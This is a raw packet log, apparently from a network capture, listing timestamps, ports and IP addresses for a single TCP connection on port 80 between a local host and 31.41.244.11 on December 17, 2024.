Dec 17, 2024 22:06:28.377788067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.377820969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.377846956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.377871037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.378257990 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.378309011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.378345966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.378382921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.379137993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.379244089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.379933119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.379981041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.380016088 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.380049944 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.380060911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.380081892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.380836964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.380887032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.381326914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.381377935 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.381671906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.381720066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.382508039 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.382540941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.382550955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.382575035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.382579088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.382616997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.383274078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.383327961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.383539915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.383586884 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.384090900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.384139061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.532502890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.532567024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.532713890 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.532763958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.532794952 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.532824039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.532879114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.532912970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.532932043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.532954931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.533734083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.533778906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.533917904 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.533968925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.534650087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.534693003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.534746885 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.534787893 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.535437107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.535487890 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.535556078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.535598993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.536453962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.536503077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.536642075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.536686897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.537162066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.537210941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.537331104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.537375927 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.538062096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.538095951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.538100958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.538140059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.538835049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.538892984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.539016008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.539135933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.539724112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.539774895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.539896965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.539938927 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.540785074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.540832043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.541054964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.541106939 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.541356087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.541395903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.541574001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.541723013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.542175055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.542210102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.542216063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.542242050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.543028116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.543076992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.543231964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.543282986 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.543853045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.543910027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.544266939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.544318914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.544684887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.544732094 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.545069933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.545120001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.545701981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.545734882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.545746088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.545780897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.546497107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.546538115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.546588898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.546633959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.547225952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.547276020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.547549009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.547591925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.548072100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.548130989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.548191071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.548235893 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.548960924 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.549004078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.549012899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.549067020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.549758911 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.549809933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.549886942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.549931049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.550582886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.550637007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.550962925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.551019907 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.551441908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.551489115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.551635981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.551686049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.552237988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.552289009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.552452087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.552499056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.553141117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.553191900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.553237915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.553287029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.553996086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.554045916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.554251909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.554301977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.554824114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.554876089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.554908991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.554951906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.555797100 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.555831909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.555841923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.555876017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.556588888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.556639910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.557233095 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.557293892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.557466030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.557522058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.557575941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.557625055 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.558202982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.558259010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.558429003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.558478117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.558985949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.559035063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.559530973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.559577942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.560287952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.560298920 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.560336113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.560353041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.560648918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.560698032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.560866117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.560920954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.561554909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.561608076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.562369108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.562380075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.562391043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.562412977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.562431097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.563360929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.563374996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.563414097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.564054012 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.564100981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.564302921 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.564346075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.564883947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.564932108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.565376997 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.565418959 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.565742016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.565784931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.565953016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.565994978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.566576004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.566617966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.566816092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.566854954 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.567464113 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.567533016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.567713976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.567754030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.568695068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.568706989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.568747997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.569137096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.569174051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.569489956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.569534063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.570050955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.570061922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.570100069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.570116997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.570805073 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.570847034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.570847988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.570879936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.571917057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.571928978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.571962118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.572561026 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.572604895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.572654963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.572700024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.573319912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.573360920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.573591948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.573646069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.574388027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.574429989 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.574457884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.574496984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.575263977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.575308084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.575381994 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.575421095 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.576174021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.576186895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.576220036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.576231003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.724745035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.724931002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.724941969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.725025892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.725070953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.725286961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.725887060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.725930929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.725975037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.726466894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.726581097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.726625919 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.727226973 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.727268934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.727966070 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.728306055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.728349924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.728918076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.728929043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.728971004 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.729480982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.729742050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.729753971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.729787111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.730904102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.730916023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.730947018 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.732256889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.732269049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.732280970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.732297897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.732325077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.733112097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.733169079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.733186007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.733207941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.733221054 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.734242916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.734633923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.734673977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.734827995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.734839916 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.734873056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.735626936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.735690117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.735724926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.736534119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.736577034 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.736668110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.736974001 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.737488985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.737499952 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.737531900 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.738277912 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.738501072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.738554955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.739383936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.739406109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.739464998 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.739880085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.739901066 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.739924908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.739958048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.740701914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.740793943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.740844011 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.741585016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.741766930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.741816998 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.742362976 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.742429018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.742475986 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.743263006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.743330956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.743376017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.744134903 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.744146109 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.744187117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.744874954 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.744923115 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.744992018 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.745493889 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.745735884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.746273041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.746320009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.746591091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.746927023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.746978998 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.747411966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.747454882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.747864008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.748255968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.748302937 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:28.748425961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.749170065 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:28.749217033 CET	49793	80	192.168.2.4	31.41.244.11
